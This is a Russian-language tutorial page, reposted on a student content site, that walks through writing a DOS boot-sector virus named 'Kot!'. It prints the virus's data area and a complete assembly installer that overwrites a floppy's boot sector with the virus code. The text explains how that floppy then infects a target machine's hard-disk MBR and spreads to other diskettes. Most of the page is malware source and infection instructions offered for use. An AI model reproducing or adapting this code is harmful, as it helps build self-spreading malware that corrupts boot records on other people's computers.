Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Пишем секцию инсталляции




Область данных вируса

В отличие от предыдущих программ, область данных написанного нами загрузочного вируса имеет на удивление простую структуру:

; db 'Kot!';Название вируса dl_save db 0;Ячейка для вре-;менного хране-;ния регистра DL;(он задает;номер накопите-;ля) num_head dw 0;Здесь вирус cyl_sect dw 0;хранит номер;головки,дорожки;и сектора зара-;женного диска,;на которых за-;писана настоя-;щая загрузочная;запись vvv dw 004ch;Смещение к век-;тору Int 13h;Длина вирусного;кода: prg_lenght equ $ - my_prg

Вы можете спросить, почему для имени вируса отведено всего четыре байта. Дело в том,что наш вирус получился довольно большим (421 байт - можете проверить!). Несколько раньше мы выяснили, что этот размер не может быть больше, чем 425 байт. А 425 - 421 как раз равно четырем...

Очевидно, в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить в систему. Поэтому для облегчения этой "вредительской" операции напишем специальный инсталлятор. Его функция состоит в следующем: при старте запускающей программы из командной строки или из - под оболочки заразить диск в дисководе " A ".Причем диск совсем не обязательно должен быть загрузочным. Далее с этого диска нужно загрузиться на той машине, которую требуется заразить. При этом вирус заразит MBR ее жесткого диска. Теперь, после загрузки с винчестера, вирус будет инфицировать все читаемые на зараженной машине дискеты и начнет распространяться.

Исходя из сказанного выше, можно предложить такое решение:

installer: lea si,my_prg;Подменим коман- mov byte ptr [si],33h;ду перехода на mov byte ptr [si + 1],0c0h;первые три бай- mov byte ptr [si + 2],8eh;та кода вируса;Попробуем про-;честь BOOT -;сектор дискеты. mov ax,0201h; mov cx,01h; xor dx,dx; lea bx,bufer; int 13h; jc error;; push es;Получим пара- mov ah,08h;метры дискеты xor dl,dl; int 13h; jnc all_good; cmp ah,01h; jne error; mov dh,01h; mov ch,27h; mov cl,byte ptr bufer [18h]; all_good: xor dl,dl; mov num_head,dx; mov cyl_sect,cx; pop es;;Перепишем нас-;тоящий BOOT в;последний сек-;тор последней;дорожки на пос-;ледней стороне mov ax,0301h; lea bx,bufer; int 13h; jc error;;Сформируем код,;который нужно;записать на;дискету вместо;исходной BOOT -;записи mov additor,055h; lea si,bufer + 55h; lea di,my_prg; mov cx,prg_lenght; copy_boot: mov al,byte ptr [di]; mov byte ptr [si],al; inc si; inc di; loop copy_boot; mov word ptr bufer[0],053ebh;;И запишем его;в первый;сектор нулевой;дорожки нулевой;стороны дискеты mov ax,0301h; mov cx,01h; mov dx,0; lea bx,bufer; int 13h; jnc prg_end;; error: mov ah,09h;Если была оши- lea dx,err_mes;бка - выведем int 21h;сообщение о ней; prg_end: mov ax,4c00h;Завершаем за- int 21h;пускающую про-;грамму err_mes db 'Error!$';Сообщение bufer db 512 dup (0);В этот буфер;считывается;BOOT - сектор;заражаемой;дискеты prg ends; end my_prg;

Если вирусу не удалось заразить диск, то выдается сообщение "ERROR!". В этом случае попытку заражения просто нужно повторить.

И еще - если вы хотите узнать, зачем понадобились первые четыре команды инсталлятора, вам следует посмотреть приводимый ниже полный текст вирусной программы. Обратите внимание на первую команду, а именно: " jmp installer ".Инсталлятор замещает ее кодом, устанавливающим собственный стек вируса, и поэтому в заражаемые сектора эта команда не попадет.




Поделиться с друзьями:


Дата добавления: 2014-11-20; Просмотров: 409; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.009 сек.